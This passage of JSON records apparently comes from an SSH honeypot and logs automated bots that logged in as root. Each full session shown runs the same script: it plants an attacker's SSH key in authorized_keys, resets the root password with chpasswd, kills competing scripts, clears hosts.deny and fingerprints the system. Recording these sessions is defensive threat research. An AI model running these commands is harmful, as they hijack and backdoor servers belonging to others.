-l"},{"seq":20,"at":"2026-08-27T12:13:31.615805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:13:31.943152+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:13:32.608027+00:00","kind":"output","latency_ms":null,"data":"top - 12:13:32 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:32.940040+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:33.429216+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:33.756571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:34.564353+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:34.903085+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:35.537220+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:13:35.875104+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:37.288203+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:37.616116+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:38.754147+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"094e7a1a-94b8-4321-8b66-12b7e420acef","name":"wandering-jagged-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46216,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:12:36.364067+00:00","ended_at":"2026-08-27T12:12:37.449473+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:12:19.459165+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:12:19.751118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:12:22.481217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:12:22.887511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:12:23.180129+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nQwAmT7487T1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:12:23.469463+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:12:23.760331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:12:24.515164+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:12:24.806055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:12:25.998122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:12:26.288873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:12:27.324299+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:12:27.618242+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:12:28.012897+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:12:28.304965+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:12:29.104886+00:00","kind":"output","latency_ms":null,"data":" 12:12:29 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:12:29.395432+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:12:30.045826+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:12:30.336127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:12:31.053107+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:12:31.345212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:12:31.871808+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:31 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:12:32.160605+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:12:32.874529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:12:33.165241+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:12:33.978922+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:12:34.281547+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:12:34.571367+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:12:34.861987+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:12:36.073498+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:12:36.365110+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:12:37.370802+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"c391edc6-1849-44c2-accc-52206383b387","name":"calm-cobalt-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59490,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:25.466051+00:00","ended_at":"2026-08-27T12:10:26.800070+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:10:03.659771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:10:04.119858+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:10:09.208420+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:10:10.111203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:10:10.572000+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8uPTSeXWmrL2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:10:11.034085+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:10:11.494902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:10:12.231326+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:10:12.693221+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:10:14.169024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:14.646664+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:15.525137+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:15.990383+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:16.628683+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:17.091788+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:17.693530+00:00","kind":"output","latency_ms":null,"data":" 12:10:17 up 7 days, 9:00, 0 user, load average: 0.31, 0.25, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:18.154777+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:18.516705+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:18.979458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:19.298372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:19.755672+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:20.638854+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:20 up 7 days, 9:00, 0 user, load average: 0.31, 0.25, 0.34\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:21.104373+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:21.692401+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:22.155450+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:22.830418+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:23.289863+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:23.659032+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:10:24.119963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:25.001998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:25.466935+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:26.656792+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Hq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2cebf8e2-48ac-4180-a403-6c2558213b56","name":"dewy-ivory-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":34578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:11.214918+00:00","ended_at":"2026-08-27T12:10:12.392297+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:09:50.658047+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:09:50.987250+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:09:56.143153+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:09:57.001586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:09:57.328305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xMOq6AxboH3v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:09:57.658261+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:09:57.984055+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:09:58.729399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:09:59.061518+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:09:59.818933+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:00.173942+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:01.071193+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:01.399557+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:02.253846+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:02.582823+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:02.838251+00:00","kind":"output","latency_ms":null,"data":" 12:10:02 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:03.166307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:03.999215+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:04.327131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:04.837813+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:05.164936+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:06.054673+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:06 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:06.382316+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:07.172715+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:07.499631+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:07.961131+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:08.287152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:09.052953+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:10:09.380403+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:10.889783+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:11.215682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:12.293575+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"c9f47f74-03c9-4ed8-88d9-75e2f9ccd405","name":"polar-shaded-kea","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":41982,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":744,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:09:16.080070+00:00","ended_at":"2026-08-27T12:09:17.503484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:08:46.491186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:08:47.232120+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:08:54.169201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:08:55.019511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:08:55.763684+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zApBJs9ZMTfL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:08:56.505584+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:08:57.250416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:57.674320+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:58.422111+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:59.596684+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:09:00.345290+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:09:01.706819+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:09:02.458352+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:09:03.000721+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:09:03.744395+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:09:04.073531+00:00","kind":"output","latency_ms":null,"data":" 12:09:04 up 7 days, 8:59, 0 user, load average: 0.27, 0.26, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:09:04.817307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:09:05.513400+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:09:06.256526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:09:06.962767+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:09:07.710194+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:09:08.547408+00:00","kind":"output","latency_ms":null,"data":"top - 12:09:08 up 7 days, 8:59, 0 user, load average: 0.27, 0.26, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:09:09.291864+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:09:10.105134+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:09:10.853670+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:09:11.636436+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:09:12.379502+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:09:13.191507+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:09:13.934106+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:09:15.324458+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:09:16.080876+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR 